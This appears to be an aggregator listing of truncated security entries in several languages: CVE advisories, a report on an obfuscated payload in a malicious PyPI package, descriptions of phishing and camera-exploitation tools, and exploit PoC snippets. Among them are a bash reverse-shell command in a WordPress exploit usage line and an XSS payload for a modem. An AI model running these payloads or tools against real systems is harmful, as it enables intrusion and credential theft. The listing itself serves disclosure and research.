CVE-2026-75602 OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool

OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/addofflinedownload with tool: "SimpleHttp" accepts an attacker-supplied URL and saves its bytes under a per-task temporary directory before transferring them to the...

Malicious code in uvhttp-custom (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf8bf69e0edd8a79c920c35d2c49e722b38d801c07401dfb673bdb1beb6ea3fc setup.py contains an obfuscated payload of the form lambda : execimport'base64'.b64decode'...'.decodeNone alongside an otherwise-benign setuptools...

MAL-2026-15863 Malicious code in uvhttp-custom (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf8bf69e0edd8a79c920c35d2c49e722b38d801c07401dfb673bdb1beb6ea3fc setup.py contains an obfuscated payload of the form lambda : execimport'base64'.b64decode'...'.decodeNone alongside an otherwise-benign setuptools...

phishlulz

PhishLulz PhishLulz is a Ruby toolset aimed at automating Phishing activities. When you start a phishing campaign, a dedicated Amazon EC2 Debian 7 instance is spawned. The VM comes with various open source tools that have been glued together. The two main components are: PhishingFrenzy...

phishlulz

PhishLulz PhishLulz 是一套 Ruby 工具集，旨在实现钓鱼活动的自动化。 当你开始一次钓鱼活动时，会启动一个专用的 Amazon EC2（Debian 7）实例。该虚拟机集成了多种开源工具，主要包含以下两个组件： PhishingFrenzy https://github.com/pentestgeek/phishing-frenzy BeEF https://github.com/beefproject/beef PhishLulz 自带自签名 CA：这是为 PhishingFrenzy 管理界面生成自签名证书所必需的。你还会发现一些很酷的钓鱼模板（这些不在 PF...

CamOver

CamOver CamOver es una herramienta de explotación de cámaras que permite revelar la contraseña de administrador de la cámara de red. Características Explota vulnerabilidades en los modelos de cámaras más populares como CCTV, GoAhead y Netwave. Optimizada para explotar múltiples cámaras a la vez...

the-endorser

🚨 The Endorser is no longer maintained. If you need support or consultation for your OSINT endeavours, drop me an e-mail [email protected] 🚨 The Endorser An OSINT tool that allows you to draw out relationships between people on LinkedIn via endorsements/skills. Check out the example digraph,...

CVE-2023-0156

ID de CVE : CVE-2023-0156 Tipo de vulnerabilidad : Recorrido de directorios Descripción : El complemento All-In-One Security AIOS para WordPress es vulnerable a un recorrido de directorios en versiones hasta, e incluyendo, la 5.1.4. Esto permite a atacantes autenticados con permisos de nivel...

CVE-2019-5475

CVE-2019-5475 CVE-2019-5475 与 CVE-2019-15588 靶场: RCE 命令注入漏洞 0x00 背景 CVE-2019-5475 是 Nexus 关于内置插件 Yum Repository 的 RCE 命令注入漏洞，其最早被披露于 hackerone，但因官方第一次修复不完整，故又衍生出了 CVE-2019-15588 漏洞。 这两个漏洞都需要以 admin 身份登录后才可以利用，但是 nexus 默认管理员密码 admin123 经常被忽略修改，很容易就被利用了。 0x10 靶场环境 0x20 目录结构 root@kitploit:...

HikPwn

HikPwn HikPwn，一个简单的海康威视设备扫描器，具有基本漏洞扫描能力，使用 Python 3.8 编写。 该项目源于我在捕获和观察海康威视软件及设备产生的网络流量时产生的好奇心。 设置说明： root@kitploit: git clone https://github.com/4n4nk3/HikPwn.git cd HikPwn pip install -r requirements.txt 已测试环境： Linux 4.19 x8664 上的 Python 3.8 功能与特性： 被动发现海康威视设备。 通过 UDP UPNP 探测主动发现和枚举海康威视设备。 检测和利用...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' 最初，CVE-2023–26326 需要借助 gadget 链才能作为反序列化漏洞加以利用。这种方法在运行 PHP 8+ 的新版 WordPress 站点上已不再可行；不过，通过与 CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 进行链式利用，可以改用 php://filter 而不是 phar:// 来实现漏洞利用。...

CVE-2022-0739

CVE-2022-0739 Proof-of-Concept 利用（SQL注入 BookingPress 1.0.11 之前版本） 使用方法 提供应用中正在使用 Booking Press 插件的 URL。 bash exploit.sh '' 例如（此演示中的哈希值已打码） root@kitploit: ┌──user@user-/ └─$ bash sqliexploit.sh 'http://localhost/calendar/' / / / / \ / / / / /// / / / // / / / / / / // / // / // / , / / / / / //...

wrongsecrets-binaries v0.3.0

wrongsecrets-binaries This is a supportive repository for OWASP WrongSecrets. Here we create our binaries which are included in the official project. Want to add a challenge related to secrets hiding in binary? Open a ticket at WrongSecrets issues. Want to fix something you found in one of the...

shiro-cve-2020-17523

Apache Shiro 两种姿势绕过认证分析（CVE-2020-17523） 0x01 漏洞描述 Apache Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API，您可以快速、轻松地获得任何应用程序，从最小的移动应用程序到最大的网络和企业应用程序。 当它和 Spring 结合使用时，在一定权限匹配规则下，攻击者可通过构造特殊的 HTTP 请求包完成身份认证绕过。 影响范围：Apache Shiro 1.7.1 0x02 漏洞环境搭建 shiro 1.7.0...

CVE-2020-5902-F5BigIP

CVE-2020-5902 F5 BIG-IP devices Summary: A Zeek detection package for CVE-2020-5902, a CVE10.0 vulnerability affecting F5 Networks BIG-IP devices. References: https://corelight.blog/2020/07/28/zeek-in-its-sweet-spot-detecting-f5s-big-ip-cve10-cve-2020-5902/...

CVE-2021-27403

Cross-Site Scripting no autenticado - Módem de fibra de Internet Askey Fabricante: Askey Versión de software: BRSVg11.11RTFTEF001V6.54V014 Modelo: RTF8115VW Parámetro vulnerable: curWebPage Payload: ";alert'xss'// No probado en otros modelos/versiones. Vía petición GET root@kitploit: En la petici...

ROOT-APP-NPM-CVE-2026-9496 CVE-2026-9496 in pacote - Patched by Root

Root has patched CVE-2026-9496 in the pacote package for Root:npm. Multiple fixed versions available...

WAF-A-MoLE

WAF-A-MoLE Un fuzzer guiado basado en mutaciones para Cortafuegos de Aplicaciones Web basados en ML, inspirado en AFL y basado en el FuzzingBook de Andreas Zeller y otros. Dada una consulta de inyección SQL de entrada, intenta producir una consulta semánticamente invariante que sea capaz de eludi...

hetty

Hetty is an HTTP toolkit for security research. It aims to become an open source alternative to commercial software like Burp Suite Pro, with powerful features tailored to the needs of the infosec and bug bounty community. Features Machine-in-the-middle MITM HTTP proxy, with logs and advanced...

CVE-2024-6028-Poc

CVE-2024-6028-Poc CVE-2024-6028 Quiz Maker 方法 getquestionscategories image image 图片 Poc root@kitploit: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36...